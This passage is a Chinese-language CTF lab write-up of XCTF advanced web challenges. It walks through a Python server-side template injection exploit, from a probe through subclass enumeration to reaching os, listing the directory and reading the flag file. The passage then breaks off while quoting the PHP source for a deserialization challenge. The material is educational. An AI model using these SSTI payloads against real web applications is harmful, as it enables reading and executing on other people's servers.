攻防世界web解题[进阶](五)
介绍:记录解题过程
15.Web_python_template_injection(python 模板注入)
题目描述:暂无
python template injection
python 模板注入(ssti模板注入)
<1>. 尝试:
http://111.200.241.244:44969/{
{
7*7}}
<2>. 得到可用的类的列表:
{
{
''.__class__.__mro__[2].__subclasses__()}}
- 回显:
<3>. 我们需要的是os命令执行类<class ‘os._wrap_close’>,我们要判断他所属的位置,这样才能进行索引,os命令执行再列出文件:
- payload
{
{
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
- 回显:
URL http://111.200.241.244:44969/['fl4g', 'index.py'] not found
<4>.读取文件flag内容:
- payload:
{
{
''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
- flag:
URL http://111.200.241.244:44969/ctf{
f22b6844-5169-4054-b2a0-d95b9361cb57} not found
16.Web_php_unserialize( php 反序列)
题目描述:暂无
- 首页:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file !=